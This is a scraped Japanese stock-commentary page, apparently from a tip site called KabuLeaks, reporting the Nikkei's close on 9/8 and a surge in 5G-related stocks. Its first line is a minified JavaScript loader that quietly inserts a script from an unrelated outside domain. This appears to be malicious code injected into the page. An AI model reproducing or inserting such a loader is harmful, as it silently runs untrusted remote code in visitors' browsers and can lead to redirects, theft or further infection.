;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【9/8 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【9/8 大引け】

本日の日経平均株価は53円安と続落。後場は売りが先行するとその後は為替の円高進行もあり下げ幅を拡大。一時175円安まで下落する場面もあったが売り一巡後は円高の一服、日銀によるETF買いなどの期待から前場終値付近まで下げ幅を縮小させた。業種別では、その他製品、海運業、精密機器が値上がり上位に。一方で、保険業、鉄鋼、サービス業が値下がり上位となった。

個別では、後場に入りソフトバンクから「5G Project」の開始が発表され5G関連のテーマ株が軒並み急伸し、【6778アルチザネットワークス、【8226】理経、【3852】サイバーコムがストップ高。関連銘柄の【3842】ネクストジェン、【6838】多摩川HD、【4748】構造計画などが大幅高。

その他、スマホゲーム「ワールドクロスサーガ ―時と少女と鏡の扉―」の350万ダウンロード、大型アップデート好感の【3624】アクセルマークや中小型株の一角、位置ゲーの関連【2454】オールアバウトなどが大幅上昇。また、「食べログ」問題で炎上、前日急落となった【2371】カカクコムが不安感やや後退かリバウンドの動きとなり買い優勢となった。

明日はメジャーSQ後の動き見極めへ。為替も円高警戒、週末要因考えればやや様子見ムード、週末からの手仕舞い売りも警戒。材料株、中小型株中心の値幅取りが引き続き有効と見る。本日後場賑わった5G関連の動きにも注目しておきたい。